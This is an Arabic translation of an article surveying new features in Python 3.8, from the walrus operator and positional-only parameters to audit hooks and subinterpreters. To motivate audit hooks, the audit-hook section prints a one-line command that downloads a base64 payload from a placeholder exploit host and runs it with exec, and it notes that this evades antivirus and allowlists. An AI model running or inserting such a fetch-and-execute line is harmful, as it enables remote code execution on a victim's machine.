بيثون 3.8: ما الجديد وكيفية استخدامه؟

تم إعداد الترجمة التالية خصيصًا للثوار المهتمين بالقراءة بكل تأكيد حول ميزات Python 3.8 الجديدة. تحسبا لإطلاق موضوع جديد في الدورة التدريبية "Python Developer" ، لم نتمكن من تجاوز هذا الموضوع.

في هذه المقالة ، سنتحدث عن الميزات الجديدة التي تم تقديمها في Python 3.8.




مشغل Walrus (مشغل الواجب)


نحن نعلم أنك كنت تنتظر هذا. يعود هذا التوقع إلى الأيام التي مُنع فيها Python من استخدام "=" كمشغل مقارنة. أبدى بعض الأشخاص إعجابهم بهذا لأنه لم يعد مربكًا = و == في الواجب والمقارنة. وجد آخرون أنه من غير المريح تكرار المشغل ، أو تعيينه لمتغير. دعنا ننتقل إلى مثال.

وفقا ل Guido ، فإن معظم المبرمجين يميلون إلى الكتابة:

group = re.match(data).group(1) if re.match(data) else None 

عوضا عن

 match = re.match(data) group = match.group(1) if match else None 

هذا يجعل تشغيل البرنامج أبطأ. على الرغم من أنه من المفهوم لماذا لا يزال بعض المبرمجين لا يكتبون بالطريقة الأولى - إلا أنه يتراكم في الشفرة.

الآن لدينا الفرصة للقيام بذلك:

 group = match.group(1) if (match := re.match(data)) else None 

بالإضافة إلى ذلك ، يكون مفيدًا عند استخدام ifs ، حتى لا يتم حساب كل شيء مقدمًا.

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

وبدلاً من ذلك ، يمكننا أن نكتب:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

وهو أكثر مثالية ، لأن الثانية إذا لن يتم النظر إذا كان يعمل الأول.

في الواقع ، أنا سعيد جدًا بمعايير PEP-572 ، لأنه لا يوفر فرصة غير موجودة سابقًا فحسب ، بل يستخدم أيضًا مشغلًا مختلفًا لذلك ، لذلك لن يكون من السهل الخلط بينه وبين ==.

ومع ذلك ، في الوقت نفسه ، فإنه يوفر أيضًا فرصًا جديدة للأخطاء وإنشاء رمز غير نشط مسبقًا.

 y0 = (y1 := f(x)) 

الحجج الموقفية


 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

هنا ، كل شيء قبل / هو حجج موضعية بدقة ، وكل شيء بعد * هو مجرد كلمات رئيسية.

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

يمكن التعبير عن نطاق هذه الوظيفة في جملة واحدة. سيكون من الأسهل على المكتبات تغيير توقيعاتها. لنلقِ نظرة على مثال:

 def add_to_queue(item: QueueItem): 

يجب على المؤلف الآن دعم مثل هذا التوقيع ، ويجب ألا يتم تغيير اسم المعلمة ، حيث سيصبح هذا التغيير حرجًا. تخيل أنك بحاجة إلى تغيير ليس فقط عنصر واحد ، ولكن قائمة كاملة من العناصر:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

أو هكذا:

 def add_to_queue(*items: QueueItem): 

هذا شيء لا يمكنك فعله من قبل بسبب عدم التوافق المحتمل مع الإصدار السابق. الآن يمكنك ذلك. بالإضافة إلى ذلك ، يكون هذا أكثر اتساقًا مع التصميمات التي تستخدم هذا النهج بالفعل. على سبيل المثال ، لا يمكنك تمرير kwargs إلى وظيفة الأسرى.

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

تصحيح الأخطاء مع الخطوط


وظيفة إضافية صغيرة تساعدنا على استخدام تنسيق تسجيل مضغوط لمتغير النموذج "name name =".

 f"{chr(65) = }" => "chr(65) = 'A'" 

هل لاحظت هذا بعد chr (65)؟ تلك الحيلة نفسها. يساعد في توفير طريقة أقصر لطباعة المتغيرات باستخدام الخطوط f.

قذيفة المتزامن الأصلي


الآن إذا قمنا بتشغيل Python shell كـ python -m asyncio ، فلن نحتاج إلى asyncio.run() لتشغيل الوظائف غير المتزامنة. في انتظار يمكن استخدامها مباشرة من قذيفة نفسها:

 >python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test():await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello' 

بيثون يدعو السنانير مراجعة وقت التشغيل


يعتمد Python Rantime اعتمادًا كبيرًا على C. ومع ذلك ، لم يتم تسجيل أو تتبع التعليمات البرمجية المنفذة فيه بأي طريقة. هذا يجعل من الصعب مراقبة تشغيل الأطر للاختبار ، وأطر العمل للتسجيل ، وأدوات الأمان ، وربما يحد من الإجراءات التي يتم تنفيذها في وقت التشغيل.

يمكنك الآن ملاحظة الأحداث التي نشأت عن وقت التشغيل ، بما في ذلك تشغيل نظام استيراد الوحدة النمطية وأي روابط مستخدم.

واجهة برمجة التطبيقات الجديدة كما يلي:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

لا يمكن حذف أو استبدال الخطافات. بالنسبة إلى CPython ، تعتبر السنانير القادمة من C عالمية ، بينما السنانير القادمة من Python هي فقط للمترجم الفوري. يتم تنفيذ hooks العمومية قبل hooks مترجم.

قد يبدو أحد الاستغلال المثير للاهتمام وغير المُتبع على النحو التالي:

 python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())” 

لا يتم فحص هذا الرمز بواسطة معظم برامج مكافحة الفيروسات ، نظرًا لأنها تركز على التعليمات البرمجية التي يمكن التعرف عليها والتي يتم قراءتها عند التحميل والكتابة على القرص ، و base64 كافية للتنقل حول هذا النظام. سيمر هذا الرمز أيضًا بمستويات الأمان مثل قوائم أو أذونات التحكم في الوصول إلى الملفات (عندما لا يكون الوصول إلى الملف مطلوبًا) وقوائم التطبيقات الموثوقة (على افتراض أن بيثون لديه جميع الأذونات اللازمة) والتدقيق التلقائي أو التسجيل (بشرط أن بيثون لديه حق الوصول إلى الإنترنت أو الوصول إلى جهاز آخر على الشبكة المحلية التي يمكنك من خلالها الحصول على الحمولة النافعة).

من خلال ربط حدث وقت التشغيل ، يمكننا أن نقرر كيفية الرد على أي حدث معين. يمكننا إما تسجيل الحدث أو إنهاء العملية بالكامل.

multiprocessing.shared_memory


يساعد على استخدام نفس مساحة الذاكرة من عمليات / مترجمين مختلفين. بشكل أساسي ، يمكن أن يساعدنا ذلك في تقليل الوقت الذي يستغرقه إجراء تسلسل الكائنات لنقلها بين العمليات. بدلاً من إجراء التسلسل والصفوف وإلغاء التسلسل ، يمكننا فقط استخدام الذاكرة المشتركة من عملية أخرى.

بروتوكول المخلل ومخازن البيانات خارج النطاق


يوفر بروتوكول المخلل 5 دعمًا للمخازن المؤقتة خارج النطاق ، حيث يمكن إرسال البيانات بشكل منفصل عن تيار المخلل الرئيسي وفقًا لتقدير طبقة النقل.

الإضافتان السابقتان مهمتان للغاية ، لكنهما لم يتم تضمينهما في إصدار الإصدار Python 3.8 ، حيث لا يزال هناك بعض العمل المتعلق بالتوافق مع الشفرة القديمة ، لكن هذا يمكن أن يغير النهج إلى البرمجة المتوازية في Python.

المترجمين الفرعية


لا يمكن تشغيل الخيوط في Python بشكل متوازٍ بسبب GIL ، بينما تتطلب العمليات الكثير من الموارد. تستغرق بداية العملية فقط 100-200 مللي ثانية ، وتستهلك أيضًا كمية كبيرة من ذاكرة الوصول العشوائي. لكن هناك شيئًا ما يمكنه التعامل معه ، وهؤلاء مترجمون فوريون. GIL مترجم ، لذلك لن يؤثر على عمل المترجمين الفوريين الآخرين ، ويبدأ أسهل من العملية (وإن كان أبطأ من الخيط).

المشكلة الرئيسية التي تنشأ في هذا الصدد هي نقل البيانات بين المترجمين الفوريين ، حيث لا يمكنهم نقل الحالة ، كما تفعل التدفقات. لذلك ، نحن بحاجة إلى استخدام نوع من الاتصال بينهما. يمكن استخدام Pickle أو marshal أو json لتسلسل الكائنات وإلغاء تسلسلها ، لكن هذه الطريقة ستعمل ببطء شديد. أحد الحلول هو استخدام الذاكرة المشتركة من وحدة العمليات.

يبدو أن العمليات الفرعية تمثل حلاً جيدًا لمشاكل GIL ، ولكن لا يزال يتعين القيام بمجموعة معينة من العمل. في بعض الحالات ، لا تزال بيثون تستخدم "حالة وقت التشغيل" بدلاً من "حالة المترجم". على سبيل المثال ، يقوم جامع البيانات المهملة بذلك. لذلك ، تحتاج إلى إجراء تغييرات على العديد من الوحدات الداخلية من أجل البدء في استخدام المترجمين الفوريين بطريقة طبيعية.

آمل أن يتم نشر هذه الوظيفة بالكامل بالفعل في بيثون الإصدار 3.9.

في الختام ، أود أن أقول أنه قد تمت إضافة بعض السكر النحوي إلى هذا الإصدار ، وكذلك بعض التحسينات الجدية في عمل المكتبات وعملية التنفيذ. ومع ذلك ، فإن العديد من الميزات المثيرة للاهتمام لم تصل إلى الإطلاق ، لذا سننتظرها في Python 3.9.

مصادر:


Source: https://habr.com/ru/post/ar472432/


All Articles